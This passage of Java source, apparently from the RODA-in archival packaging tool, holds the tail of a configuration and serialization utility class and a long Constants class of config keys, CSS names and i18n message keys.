setAppConfig(String key, String value, boolean saveToFile) {\n externalAppConfig.setProperty(key, value);\n if (saveToFile) {\n saveAppConfig();\n }\n }\n\n public static void setAppConfig(String key, String value) {\n setAppConfig(key, value, false);\n }\n\n public static String getAppConfig(String key) {\n Object res = null;\n if (externalAppConfig != null && externalAppConfig.containsKey(key)) {\n res = externalAppConfig.getProperty(key);\n }\n if (res == null) {\n return null;\n }\n if (res instanceof String) {\n return (String) res;\n }\n // if it isn't a string then it must be a list Ex: a,b,c,d\n return String.join(Constants.MISC_COMMA, (List<String>) res);\n }\n\n /**\n * Saves the configuration to a file in the application home folder.\n */\n public static void saveConfig() {\n try {\n PropertiesConfiguration temp = new PropertiesConfiguration();\n temp.load(new FileReader(externalConfigPath.toFile()));\n if (externalConfig != null) {\n HashSet<String> keys = new HashSet<>();\n externalConfig.getKeys().forEachRemaining(keys::add);\n temp.getKeys().forEachRemaining(keys::add);\n keys.forEach(s -> {\n // Add new properties to the ext_config\n if (temp.containsKey(s) && !externalConfig.containsKey(s)) {\n externalConfig.addProperty(s, temp.getProperty(s));\n } else {\n // check if there's any property in the current file that is\n // different from the ones we loaded in the beginning of the\n // execution of the application.\n if (temp.containsKey(s) && startExternalConfig.containsKey(s)\n && !temp.getProperty(s).equals(startExternalConfig.getProperty(s))) {\n // Set the property to keep the changes made outside the\n // application\n externalConfig.setProperty(s, temp.getProperty(s));\n }\n }\n });\n }\n externalConfig.save(externalConfigPath.toFile());\n } catch (ConfigurationException | FileNotFoundException e) {\n LOGGER.error(\"Error loading the config file\", e);\n }\n }\n\n public static void saveAppConfig() {\n try {\n PropertiesConfiguration temp = new PropertiesConfiguration();\n temp.load(new FileReader(externalAppConfigPath.toFile()));\n if (externalAppConfig != null) {\n HashSet<String> keys = new HashSet<>();\n externalAppConfig.getKeys().forEachRemaining(keys::add);\n temp.getKeys().forEachRemaining(keys::add);\n keys.forEach(s -> {\n // Add new properties to the ext_config\n if (temp.containsKey(s) && !externalAppConfig.containsKey(s)) {\n externalAppConfig.addProperty(s, temp.getProperty(s));\n } else {\n // check if there's any property in the current file that is\n // different from the ones we loaded in the beginning of the\n // execution of the application.\n if (temp.containsKey(s) && startExternalAppConfig.containsKey(s)\n && !temp.getProperty(s).equals(startExternalAppConfig.getProperty(s))) {\n // Set the property to keep the changes made outside the\n // application\n externalAppConfig.setProperty(s, temp.getProperty(s));\n }\n }\n });\n }\n externalAppConfig.save(externalAppConfigPath.toFile());\n } catch (ConfigurationException | FileNotFoundException e) {\n LOGGER.error(\"Error saving the app config file\", e);\n }\n }\n\n public static URL getBuildProperties() {\n return ClassLoader.getSystemResource(\"build.properties\");\n }\n\n public static <T extends Serializable> T deserialize(String filename) {\n Path serialFile = rodainPath.resolve(Constants.RODAIN_SERIALIZE_FILE_PREFIX + filename);\n try (InputStream in = Files.newInputStream(serialFile, StandardOpenOption.READ)) {\n return (T) SerializationUtils.deserialize(in);\n } catch (IOException | ClassCastException e) {\n LOGGER.error(\"Error deserializing from file {}\", serialFile.toAbsolutePath().toString(), e);\n }\n return null;\n }\n\n public static <T extends Serializable> void serialize(T object, String filename) {\n Path serialFile = rodainPath.resolve(Constants.RODAIN_SERIALIZE_FILE_PREFIX + filename);\n try (OutputStream out = Files.newOutputStream(serialFile, StandardOpenOption.CREATE, StandardOpenOption.WRITE,\n StandardOpenOption.TRUNCATE_EXISTING)) {\n SerializationUtils.serialize(object, out);\n } catch (IOException e) {\n LOGGER.error(\"Error serializing to file {}\", serialFile.toAbsolutePath().toString(), e);\n }\n }\n}", "public final class Constants {\n\n // misc\n public static final String RODAIN_HOME_ENV_VARIABLE = \"RODAIN_HOME\";\n public static final String RODAIN_ENV_VARIABLE = \"RODAIN_ENV\";\n public static final String RODAIN_ENV_TESTING = \"testing\";\n public static final String RODAIN_CONFIG_FOLDER = \"roda-in\";\n public static final String RODAIN_SERIALIZE_FILE_PREFIX = \"serial_\";\n public static final String RODAIN_SERIALIZE_FILE_METS_HEADER_SUFFIX = \"_metsheader.bin\";\n public static final String RODAIN_GITHUB_LATEST_VERSION_LINK = \"https://github.com/keeps/roda-in/releases\";\n public static final String RODAIN_GITHUB_LATEST_VERSION_API_LINK = \"https://api.github.com/repos/keeps/roda-in/releases/latest\";\n public static final String RODAIN_GUI_TITLE = \"RODA-In\";\n public static final String RODAIN_DEFAULT_ENCODING = \"UTF-8\";\n public static final String RODAIN_DEFAULT_CONFIG_ENCODING = RODAIN_DEFAULT_ENCODING;\n public static final String ENCODING_BASE64 = \"Base64\";\n public static final String MISC_TRUE = \"true\";\n public static final String MISC_FALSE = \"false\";\n public static final String MISC_GLOB = \"glob:\";\n public static final String MISC_DEFAULT_ID_PREFIX = \"uuid-\";\n public static final String MISC_XML_EXTENSION = \".xml\";\n public static final String MISC_DOT = \".\";\n public static final String MISC_COLON = \":\";\n public static final String MISC_COMMA = \",\";\n public static final String MISC_DOUBLE_QUOTE = \"\\\"\";\n public static final String MISC_DOUBLE_QUOTE_W_SPACE = \" \\\"\";\n public static final String MISC_OR_OP = \"||\";\n public static final String MISC_AND_OP = \"&&\";\n public static final String MISC_FWD_SLASH = \"/\";\n public static final String MISC_METADATA_SEP = \"!###!\";\n public static final String MISC_DEFAULT_HUNGARIAN_SIP_SERIAL = \"001\";\n\n // langs\n public static final String LANG_PT_BR = \"pt-br\";\n public static final String LANG_PT_PT = \"pt-pt\";\n public static final String LANG_PT = \"pt\";\n public static final String LANG_ES_CL = \"es-cl\";\n public static final String LANG_ES = \"es\";\n public static final String LANG_EN = \"en\";\n public static final String LANG_HU = \"hu\";\n public static final String LANG_HR = \"hr\";\n public static final String LANG_DEFAULT = LANG_EN;\n\n // sip related\n public static final String SIP_DEFAULT_PACKAGE_TYPE = \"UNKNOWN\";\n public static final String SIP_DEFAULT_CONTENT_TYPE = \"MIXED\";\n public static final String SIP_CONTENT_TYPE_OTHER = \"OTHER\";\n public static final String SIP_DEFAULT_REPRESENTATION_CONTENT_TYPE = SIP_DEFAULT_CONTENT_TYPE;\n public static final String SIP_REP_FIRST = \"rep1\";\n public static final String SIP_REP_PREFIX = \"rep\";\n public static final String SIP_DEFAULT_AGENT_NAME = \"RODA-in\";\n public static final String SIP_AGENT_ROLE_OTHER = \"OTHER\";\n public static final String SIP_AGENT_TYPE_INDIVIDUAL = \"INDIVIDUAL\";\n public static final String SIP_AGENT_OTHERROLE_SUBMITTER = \"SUBMITTER\";\n public static final String SIP_AGENT_NOTETYPE_IDENTIFICATIONCODE = \"IDENTIFICATIONCODE\";\n public static final String SIP_AGENT_VERSION_UNKNOWN = \"UNKNOWN\";\n public static final String SIP_AGENT_NAME_FORMAT = \"RODA-in %s\";\n public static final String SIP_NAME_STRATEGY_SERIAL_FORMAT_NUMBER = \"%03d\";\n\n // folders\n public static final String FOLDER_SCHEMAS = \"schemas\";\n public static final String FOLDER_TEMPLATES = \"templates\";\n public static final String FOLDER_LOG = \"log\";\n public static final String FOLDER_METADATA = \"metadata\";\n public static final String FOLDER_HELP = \"help\";\n\n // configs keys prefixes & sufixes\n public static final String CONF_K_PREFIX_METADATA = \"metadata.\";\n public static final String CONF_K_SUFFIX_SCHEMA = \".schema\";\n public static final String CONF_K_SUFFIX_TEMPLATE = \".template\";\n public static final String CONF_K_SUFFIX_TITLE = \".title\";\n public static final String CONF_K_SUFFIX_TYPE = \".type\";\n public static final String CONF_K_SUFFIX_VERSION = \".version\";\n public static final String CONF_K_SUFFIX_AGGREG_LEVEL = \".aggregationLevel\";\n public static final String CONF_K_SUFFIX_TOP_LEVEL = \".topLevel\";\n public static final String CONF_K_SUFFIX_ITEM_LEVEL = \".itemLevel\";\n public static final String CONF_K_SUFFIX_FILE_LEVEL = \".fileLevel\";\n public static final String CONF_K_SUFFIX_TAGS = \".tags\";\n public static final String CONF_K_SUFFIX_SYNCHRONIZED = \".synchronized\";\n public static final String CONF_K_SUFFIX_LEVELS_ICON = \"levels.icon.\";\n // configs keys\n public static final String CONF_K_ACTIVE_SIP_TYPES = \"activeSipTypes\";\n public static final String CONF_K_DEFAULT_LANGUAGE = \"defaultLanguage\";\n public static final String CONF_K_LAST_SIP_TYPE = \"lastSipType\";\n public static final String CONF_K_DEFAULT_SIP_TYPE = \"creationModalPreparation.defaultSipType\";\n public static final String CONF_K_IGNORED_FILES = \"app.ignoredFiles\";\n public static final String CONF_K_METADATA_TEMPLATES = \"metadata.templates\";\n public static final String CONF_K_METADATA_TYPES = \"metadata.types\";\n public static final String CONF_K_LEVELS_ICON_DEFAULT = \"levels.icon.internal.default\";\n public static final String CONF_K_LEVELS_ICON_ITEM = \"levels.icon.internal.itemLevel\";\n public static final String CONF_K_LEVELS_ICON_FILE = \"levels.icon.internal.fileLevel\";\n public static final String CONF_K_LEVELS_ICON_AGGREGATION = \"levels.icon.internal.aggregationLevel\";\n public static final String CONF_K_EXPORT_LAST_PREFIX = \"export.lastPrefix\";\n public static final String CONF_K_EXPORT_LAST_TRANSFERRING = \"export.lastTransferring\";\n public static final String CONF_K_EXPORT_LAST_SERIAL = \"export.lastSerial\";\n public static final String CONF_K_EXPORT_LAST_ITEM_EXPORT_SWITCH = \"export.lastItemExportSwitch\";\n public static final String CONF_K_EXPORT_LAST_REPORT_CREATION_SWITCH = \"export.lastReportCreationSwitch\";\n public static final String CONF_K_EXPORT_LAST_SIP_OUTPUT_FOLDER = \"export.lastSipOutputFolder\";\n public static final String CONF_K_ID_PREFIX = \"idPrefix\";\n public static final String CONF_K_SIP_CREATION_ALWAYS_JUMP_FOLDER = \"sipPreviewCreator.createSip.alwaysJumpFolder\";\n // METS Header fields\n public static final String CONF_K_METS_HEADER_FIELDS_PREFIX = \"metsheader.\";\n public static final String CONF_K_METS_HEADER_FIELDS_SUFFIX = \".fields\";\n public static final String CONF_K_METS_HEADER_FIELD_SEPARATOR = \".field.\";\n public static final String CONF_K_METS_HEADER_TYPES_SEPARATOR = \".type.\";\n public static final String CONF_K_METS_HEADER_TYPE_RECORD_STATUS = \"recordstatus\";\n public static final String CONF_K_METS_HEADER_TYPE_ALTRECORD_ID = \"altrecordid\";\n public static final String CONF_K_METS_HEADER_TYPE_AGENT = \"agent\";\n public static final String CONF_K_METS_HEADER_FIELD_TITLE = \".title\";\n public static final String CONF_K_METS_HEADER_FIELD_TYPE = \".type\";\n public static final String CONF_K_METS_HEADER_FIELD_AMOUNT_MAX = \".amount.max\";\n public static final String CONF_K_METS_HEADER_FIELD_AMOUNT_MIN = \".amount.min\";\n public static final String CONF_K_METS_HEADER_FIELD_LABEL = \".label\";\n public static final String CONF_K_METS_HEADER_FIELD_DESCRIPTION = \".description\";\n public static final String CONF_K_METS_HEADER_FIELD_COMBO_VALUES = \".combo\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_OTHERTYPE_VALUE = \".attr.othertype.value\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_OTHERTYPE_LABEL = \".attr.othertype.label\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_OTHERTYPE_DESCRIPTION = \".attr.othertype.description\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_ROLE_VALUE = \".attr.role.value\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_ROLE_LABEL = \".attr.role.label\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_ROLE_DESCRIPTION = \".attr.role.description\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_TYPE_VALUE = \".attr.type.value\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_TYPE_LABEL = \".attr.type.label\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_TYPE_DESCRIPTION = \".attr.type.description\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_NAME_LABEL = \".attr.name.label\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_NAME_DESCRIPTION = \".attr.name.description\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_NOTE_LABEL = \".attr.note.label\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_NOTE_DESCRIPTION = \".attr.note.description\";\n public static final String CONF_K_METS_HEADER_FIELD_ATTRIBUTE_NOTE_MANDATORY = \".attr.note.mandatory\";\n public static final String CONF_K_METS_HEADER_FIELD_MULTI_FIELD_COMBO_VALUES_NAME = \".multifieldcombo.attr.name\";\n public static final String CONF_K_METS_HEADER_FIELD_MULTI_FIELD_COMBO_VALUES_NOTE = \".multifieldcombo.attr.note\";\n public static final String CONF_V_METS_HEADER_FIELD_TYPE_AGENT = \"agent\";\n public static final String CONF_V_METS_HEADER_FIELD_TYPE_ALTRECORDID = \"altrecordid\";\n public static final String CONF_V_METS_HEADER_FIELD_TYPE_RECORDSTATUS = \"recordstatus\";\n public static final String CONF_V_METS_HEADER_FIELD_AMOUNT_MAX_INFINITE = \"N\";\n\n // app configs keys\n public static final String CONF_K_APP_LAST_CLASS_SCHEME = \"lastClassificationScheme\";\n public static final String CONF_K_APP_HELP_ENABLED = \"app.helpEnabled\";\n public static final String CONF_K_APP_LANGUAGE = \"app.language\";\n public static final String CONF_K_APP_MULTIPLE_EDIT_MAX = \"app.multipleEdit.max\";\n // configs files\n public static final String CONFIG_FILE = \"config.properties\";\n public static final String APP_CONFIG_FILE = \".app.properties\";\n // configs values\n public static final String CONF_V_TRUE = MISC_TRUE;\n public static final String CONF_V_FALSE = MISC_FALSE;\n\n // events\n public static final String EVENT_REMOVED_RULE = \"Removed rule\";\n public static final String EVENT_REMOVE_FROM_RULE = \"Remove from rule\";\n public static final String EVENT_REMOVED_SIP = \"Removed SIP\";\n public static final String EVENT_FINISHED = \"Finished\";\n\n // date related formats\n public static final String DATE_FORMAT_1 = \"yyyy.MM.dd HH.mm.ss.SSS\";\n public static final String DATE_FORMAT_2 = \"dd.MM.yyyy '@' HH:mm:ss z\";\n public static final String DATE_FORMAT_3 = \"yyyy-MM-dd'T'HH:mm:ss'Z'\";\n public static final String DATE_FORMAT_4 = \"yyyy-MM-dd\";\n public static final String DATE_FORMAT_5 = \"yyyyMMdd\";\n\n // resources\n public static final String RSC_SPLASH_SCREEN_IMAGE = \"roda-in-splash.png\";\n public static final String RSC_RODA_LOGO = \"RODA-in.png\";\n public static final String RSC_LOADING_GIF = \"loading.GIF\";\n public static final String RSC_ICON_FOLDER = \"icons/folder_yellow.png\";\n public static final String RSC_ICON_FOLDER_EXPORT = \"icons/folder_export_yellow.png\";\n public static final String RSC_ICON_FOLDER_OPEN = \"icons/folder-open_yellow.png\";\n public static final String RSC_ICON_FOLDER_OPEN_EXPORT = \"icons/folder-open_export_yellow.png\";\n public static final String RSC_ICON_FILE = \"icons/file_blue.png\";\n public static final String RSC_ICON_FILE_EXPORT = \"icons/file-export_blue.png\";\n public static final String RSC_ICON_FOLDER_COLAPSE = \"icons/folder_yellow.png\";\n public static final String RSC_ICON_FOLDER_EXPAND = \"icons/folder-open_yellow.png\";\n public static final String RSC_ICON_LIST_ADD = \"icons/list-add.png\";\n public static final String RSC_CSS_SHARED = \"css/shared.css\";\n public static final String RSC_CSS_MODAL = \"css/modal.css\";\n\n // CSS\n public static final String CSS_BOLDTEXT = \"boldText\";\n public static final String CSS_BORDER_PANE = \"border-pane\";\n public static final String CSS_CELL = \"cell\";\n public static final String CSS_CELLTEXT = \"cellText\";\n public static final String CSS_DARK_BUTTON = \"dark-button\";\n public static final String CSS_DESCRIPTION = \"description\";\n public static final String CSS_EDGE_TO_EDGE = \"edge-to-edge\";\n public static final String CSS_ERROR = \"error\";\n public static final String CSS_EXPORT_BUTTON = \"export-button\";\n public static final String CSS_FOOTER = \"footer\";\n public static final String CSS_FORMLABEL = \"formLabel\";\n public static final String CSS_FORMSEPARATOR = \"formSeparator\";\n public static final String CSS_FORM_TEXT_AREA = \"form-text-area\";\n public static final String CSS_HBOX = \"hbox\";\n public static final String CSS_HELPBUTTON = \"helpButton\";\n public static final String CSS_HELPTITLE = \"helpTitle\";\n public static final String CSS_INDEXED_CELL = \"indexed-cell\";\n public static final String CSS_INSPECTIONPART = \"inspectionPart\";\n public static final String CSS_MAIN_TREE = \"main-tree\";\n public static final String CSS_METS_HEADER_ITEM_ADD_MORE_LINK = \"mets-header-item-add-more-link\";\n public static final String CSS_METS_HEADER_GROUP_LAST = \"mets-header-group-last\";\n public static final String CSS_METS_HEADER_GROUP = \"mets-header-group\";\n public static final String CSS_METS_HEADER_ITEM_BUTTON_REMOVE = \"mets-item-button-remove\";\n public static final String CSS_METS_HEADER_ITEM_WITHOUT_SIBLINGS = \"mets-item-without-siblings\";\n public static final String CSS_METS_HEADER_ITEM_WITH_SIBLINGS = \"mets-item-with-siblings\";\n public static final String CSS_METS_HEADER_ITEM_WITH_MULTIPLE_FIELDS = \"mets-item-multiple-fields\";\n public static final String CSS_METS_HEADER_SECTION_TITLE = \"mets-header-section-title\";\n public static final String CSS_METS_HEADER_SECTION = \"mets-header-section\";\n public static final String CSS_MODAL = \"modal\";\n public static final String CSS_PREPARECREATIONSUBTITLE = \"prepareCreationSubtitle\";\n public static final String CSS_RULECELL = \"ruleCell\";\n public static final String CSS_SCHEMANODE = \"schemaNode\";\n public static final String CSS_SCHEMANODEEMPTY = \"schemaNodeEmpty\";\n public static final String CSS_SCHEMANODEHOVERED = \"schemaNodeHovered\";\n public static final String CSS_SIPCREATOR = \"sipcreator\";\n public static final String CSS_TITLE = \"title\";\n public static final String CSS_TITLE_BOX = \"title-box\";\n public static final String CSS_TOP = \"top\";\n public static final String CSS_TOP_SUBTITLE = \"top-subtitle\";\n public static final String CSS_TREE_CELL = \"tree-cell\";\n public static final String CSS_BACKGROUNDWHITE = \"backgroundWhite\";\n public static final String CSS_FX_BACKGROUND_COLOR_TRANSPARENT = \"-fx-background-color: transparent\";\n public static final String CSS_FX_FONT_SIZE_16PX = \"-fx-font-size: 16px\";\n public static final String CSS_FX_TEXT_FILL_BLACK = \"-fx-text-fill: black\";\n\n // I18n\n public static final String I18N_NEW_VERSION_CONTENT = \"Main.newVersion.content\";\n public static final String I18N_ASSOCIATION_SINGLE_SIP_DESCRIPTION = \"association.singleSip.description\";\n public static final String I18N_ASSOCIATION_SINGLE_SIP_TITLE = \"association.singleSip.title\";\n public static final String I18N_ASSOCIATION_SIP_PER_FILE_DESCRIPTION = \"association.sipPerFile.description\";\n public static final String I18N_ASSOCIATION_SIP_PER_FILE_TITLE = \"association.sipPerFile.title\";\n public static final String I18N_ASSOCIATION_SIP_SELECTION_DESCRIPTION = \"association.sipSelection.description\";\n public static final String I18N_ASSOCIATION_SIP_SELECTION_TITLE = \"association.sipSelection.title\";\n public static final String I18N_ASSOCIATION_SIP_WITH_STRUCTURE_DESCRIPTION = \"association.sipWithStructure.description\";\n public static final String I18N_ASSOCIATION_SIP_WITH_STRUCTURE_TITLE = \"association.sipWithStructure.title\";\n public static final String I18N_CREATIONMODALMETSHEADER_HEADER = \"CreationModalMETSHeader.METSHeader\";\n public static final String I18N_CREATIONMODALMETSHEADER_SECTION_STATUS = \"CreationModalMETSHeader.section.status\";\n public static final String I18N_CREATIONMODALMETSHEADER_SECTION_AGENTS = \"CreationModalMETSHeader.section.agents\";\n public static final String I18N_CREATIONMODALMETSHEADER_SECTION_ALTRECORDS = \"CreationModalMETSHeader.section.altrecords\";\n public static final String I18N_CREATIONMODALMETSHEADER_ERROR_MINIMUM = \"CreationModalMETSHeader.error.minimum\";\n public static final String I18N_CREATIONMODALMETSHEADER_ERROR_MAXIMUM = \"CreationModalMETSHeader.error.maximum\";\n public static final String I18N_CREATIONMODALMETSHEADER_ERROR_ONE_OF = \"CreationModalMETSHeader.error.oneOf\";\n public static final String I18N_CREATIONMODALMETSHEADER_ERROR_MANDATORY_CAN_NOT_BE_BLANK = \"CreationModalMETSHeader.error.mandatoryCanNotBeBlank\";\n public static final String I18N_CREATIONMODALMETSHEADER_ERROR_MANDATORY_WHEN = \"CreationModalMETSHeader.error.mandatoryWhen\";\n public static final String I18N_CREATIONMODALMETSHEADER_ERROR_MANDATORY = \"CreationModalMETSHeader.error.mandatory\";\n public static final String I18N_CREATIONMODALMETSHEADER_WARNING_MAXIMUM = \"CreationModalMETSHeader.warning.maximum\";\n public static final String I18N_CREATIONMODALMETSHEADER_HELPER_BLANK = \"CreationModalMETSHeader.helper.blank\";\n public static final String I18N_CREATIONMODALPREPARATION_CHOOSE = \"CreationModalPreparation.choose\";\n public static final String I18N_CREATIONMODALPREPARATION_CREATE_REPORT = \"CreationModalPreparation.createReport\";\n public static final String I18N_CREATIONMODALPREPARATION_CREATING_SIPS = \"CreationModalPreparation.creatingSips\";\n public static final String I18N_CREATIONMODALPREPARATION_EXPORT_ALL = \"CreationModalPreparation.exportAll\";\n public static final String I18N_CREATIONMODALPREPARATION_INCLUDE_HIERARCHY = \"CreationModalPreparation.includeHierarchy\";\n public static final String I18N_CREATIONMODALPREPARATION_OUTPUT_DIRECTORY = \"CreationModalPreparation.outputDirectory\";\n public static final String I18N_CREATIONMODALPREPARATION_PREFIX = \"CreationModalPreparation.prefix\";\n public static final String I18N_CREATIONMODALPREPARATION_AGENT_NAME = \"CreationModalPreparation.submitterAgentName\";\n public static final String I18N_CREATIONMODALPREPARATION_AGENT_ID = \"CreationModalPreparation.submitterAgentID\";\n public static final String I18N_CREATIONMODALPREPARATION_TRANSFERRING = \"CreationModalPreparation.transferring\";\n public static final String I18N_CREATIONMODALPREPARATION_SERIAL = \"CreationModalPreparation.serial\";\n public static final String I18N_CREATIONMODALPREPARATION_SIP_FORMAT = \"CreationModalPreparation.sipFormat\";\n public static final String I18N_CREATIONMODALPROCESSING_ACTION = \"CreationModalProcessing.action\";\n public static final String I18N_CREATIONMODALPROCESSING_ALERT_HEADER = \"CreationModalProcessing.alert.header\";\n public static final String I18N_CREATIONMODALPROCESSING_ALERT_STACK_TRACE = \"CreationModalProcessing.alert.stacktrace\";\n public static final String I18N_CREATIONMODALPROCESSING_ALERT_TITLE = \"CreationModalProcessing.alert.title\";\n public static final String I18N_CREATIONMODALPROCESSING_CAUSE = \"CreationModalProcessing.cause\";\n public static final String I18N_CREATIONMODALPROCESSING_CURRENT_SIP = \"CreationModalProcessing.currentSip\";\n public static final String I18N_CREATIONMODALPROCESSING_EARK_PROGRESS = \"CreationModalProcessing.eark.progress\";\n public static final String I18N_CREATIONMODALPROCESSING_ELAPSED = \"CreationModalProcessing.elapsed\";\n public static final String I18N_CREATIONMODALPROCESSING_ERROR_MESSAGES_STOPPED_CONTENT = \"CreationModalProcessing.errorMessagesStopped.content\";\n public static final String I18N_CREATIONMODALPROCESSING_ERROR_MESSAGES_STOPPED_HEADER = \"CreationModalProcessing.errorMessagesStopped.header\";\n public static final String I18N_CREATIONMODALPROCESSING_ERRORS = \"CreationModalProcessing.errors\";\n public static final String I18N_CREATIONMODALPROCESSING_FINISHED = \"CreationModalProcessing.finished\";\n public static final String I18N_CREATIONMODALPROCESSING_HOUR = \"CreationModalProcessing.hour\";\n public static final String I18N_CREATIONMODALPROCESSING_HOURS = \"CreationModalProcessing.hours\";\n public static final String I18N_CREATIONMODALPROCESSING_IMPOSSIBLE_ESTIMATE = \"CreationModalProcessing.impossibleEstimate\";\n public static final String I18N_CREATIONMODALPROCESSING_LESS_MINUTE = \"CreationModalProcessing.lessMinute\";\n public static final String I18N_CREATIONMODALPROCESSING_LESS_SECONDS = \"CreationModalProcessing.lessSeconds\";\n public static final String I18N_CREATIONMODALPROCESSING_MINUTE = \"CreationModalProcessing.minute\";\n public static final String I18N_CREATIONMODALPROCESSING_MINUTES = \"CreationModalProcessing.minutes\";\n public static final String I18N_CREATIONMODALPROCESSING_OPEN_FOLDER = \"CreationModalProcessing.openfolder\";\n public static final String I18N_CREATIONMODALPROCESSING_REMAINING = \"CreationModalProcessing.remaining\";\n public static final String I18N_CREATIONMODALPROCESSING_SUBTITLE = \"CreationModalProcessing.subtitle\";\n public static final String I18N_DIRECTORY_CHOOSER_TITLE = \"directorychooser.title\";\n public static final String I18N_EXPORT_BOX_TITLE = \"ExportBox.title\";\n public static final String I18N_FILE_CHOOSER_TITLE = \"filechooser.title\";\n public static final String I18N_FILE_EXPLORER_PANE_ALERT_ADD_FOLDER_CONTENT = \"FileExplorerPane.alertAddFolder.content\";\n public static final String I18N_FILE_EXPLORER_PANE_ALERT_ADD_FOLDER_HEADER = \"FileExplorerPane.alertAddFolder.header\";\n public static final String I18N_FILE_EXPLORER_PANE_ALERT_ADD_FOLDER_TITLE = \"FileExplorerPane.alertAddFolder.title\";\n public static final String I18N_FILE_EXPLORER_PANE_CHOOSE_DIR = \"FileExplorerPane.chooseDir\";\n public static final String I18N_FILE_EXPLORER_PANE_HELP_TITLE = \"FileExplorerPane.help.title\";\n public static final String I18N_FILE_EXPLORER_PANE_REMOVE_FOLDER = \"FileExplorerPane.removeFolder\";\n public static final String I18N_FILE_EXPLORER_PANE_TITLE = \"FileExplorerPane.title\";\n public static final String I18N_FOOTER_MEMORY = \"Footer.memory\";\n public static final String I18N_GENERIC_ERROR_CONTENT = \"genericError.content\";\n public static final String I18N_GENERIC_ERROR_TITLE = \"genericError.title\";\n public static final String I18N_INSPECTIONPANE_ADDMETADATA = \"InspectionPane.addMetadata\";\n public static final String I18N_INSPECTIONPANE_ADD_METADATA_ERROR_CONTENT = \"InspectionPane.addMetadataError.content\";\n public static final String I18N_INSPECTIONPANE_ADD_METADATA_ERROR_HEADER = \"InspectionPane.addMetadataError.header\";\n public static final String I18N_INSPECTIONPANE_ADD_METADATA_ERROR_TITLE = \"InspectionPane.addMetadataError.title\";\n public static final String I18N_INSPECTIONPANE_ADD_REPRESENTATION = \"InspectionPane.addRepresentation\";\n public static final String I18N_INSPECTIONPANE_CHANGE_TEMPLATE_CONTENT = \"InspectionPane.changeTemplate.content\";\n public static final String I18N_INSPECTIONPANE_CHANGE_TEMPLATE_HEADER = \"InspectionPane.changeTemplate.header\";\n public static final String I18N_INSPECTIONPANE_CHANGE_TEMPLATE_TITLE = \"InspectionPane.changeTemplate.title\";\n public static final String I18N_INSPECTIONPANE_DOCS_HELP_TITLE = \"InspectionPane.docsHelp.title\";\n public static final String I18N_INSPECTIONPANE_FORM = \"InspectionPane.form\";\n public static final String I18N_INSPECTIONPANE_HELP_RULE_LIST = \"InspectionPane.help.ruleList\";\n public static final String I18N_INSPECTIONPANE_HELP_TITLE = \"InspectionPane.help.title\";\n public static final String I18N_INSPECTIONPANE_METADATA = \"InspectionPane.metadata\";\n public static final String I18N_INSPECTIONPANE_MULTIPLE_SELECTED_APPLIED_MESSAGE = \"InspectionPane.multipleSelected.appliedMessage\";\n public static final String I18N_INSPECTIONPANE_MULTIPLE_SELECTED_CONFIRM = \"InspectionPane.multipleSelected.confirm\";\n public static final String I18N_INSPECTIONPANE_MULTIPLE_SELECTED_HELP = \"InspectionPane.multipleSelected.help\";\n public static final String I18N_INSPECTIONPANE_MULTIPLE_SELECTED_HELP_TITLE = \"InspectionPane.multipleSelected.helpTitle\";\n public static final String I18N_INSPECTIONPANE_ON_DROP = \"InspectionPane.onDrop\";\n public static final String I18N_INSPECTIONPANE_ON_DROP_DOCS = \"InspectionPane.onDropDocs\";\n public static final String I18N_INSPECTIONPANE_REMOVE_METADATA = \"InspectionPane.removeMetadata\";\n public static final String I18N_INSPECTIONPANE_REMOVE_METADATA_CONTENT = \"InspectionPane.removeMetadata.content\";\n public static final String I18N_INSPECTIONPANE_REMOVE_METADATA_HEADER = \"InspectionPane.removeMetadata.header\";\n public static final String I18N_INSPECTIONPANE_REMOVE_METADATA_TITLE = \"InspectionPane.removeMetadata.title\";\n public static final String I18N_INSPECTIONPANE_REPRESENTATION_TYPE_TOOLTIP = \"InspectionPane.representationTypeTooltip\";\n public static final String I18N_INSPECTIONPANE_RULES = \"InspectionPane.rules\";\n public static final String I18N_INSPECTIONPANE_SIP_TYPE_TOOLTIP = \"InspectionPane.sipTypeTooltip\";\n public static final String I18N_INSPECTIONPANE_TEXTCONTENT = \"InspectionPane.textContent\";\n public static final String I18N_INSPECTIONPANE_TITLE = \"InspectionPane.title\";\n public static final String I18N_INSPECTIONPANE_VALIDATE = \"InspectionPane.validate\";\n public static final String I18N_INSPECTIONPANE_IP_CONTENT_TYPE_PREFIX = \"IPContentType.\";\n public static final String I18N_INSPECTIONPANE_REPRESENTATION_CONTENT_TYPE_PREFIX = \"RepresentationContentType.\";\n public static final String I18N_MAIN_ADD_FOLDER = \"Main.addFolder\";\n public static final String I18N_MAIN_CHECK_VERSION = \"Main.checkVersion\";\n public static final String I18N_MAIN_CLASS_SCHEME = \"Main.classScheme\";\n public static final String I18N_MAIN_CONFIRM_RESET_CONTENT = \"Main.confirmReset.content\";\n public static final String I18N_MAIN_CONFIRM_RESET_HEADER = \"Main.confirmReset.header\";\n public static final String I18N_MAIN_CREATE_CS = \"Main.createCS\";\n public static final String I18N_MAIN_EDIT = \"Main.edit\";\n public static final String I18N_MAIN_EXPORT_CS = \"Main.exportCS\";\n public static final String I18N_MAIN_EXPORT_SIPS = \"Main.exportSips\";\n public static final String I18N_MAIN_FILE = \"Main.file\";\n public static final String I18N_MAIN_HELP = \"Main.help\";\n public static final String I18N_MAIN_HELP_PAGE = \"Main.helpPage\";\n public static final String I18N_MAIN_HIDE_FILES = \"Main.hideFiles\";\n public static final String I18N_MAIN_HIDE_HELP = \"Main.hideHelp\";\n public static final String I18N_MAIN_HIDE_IGNORED = \"Main.hideIgnored\";\n public static final String I18N_MAIN_HIDE_MAPPED = \"Main.hideMapped\";\n public static final String I18N_MAIN_IGNORE_ITEMS = \"Main.ignoreItems\";\n public static final String 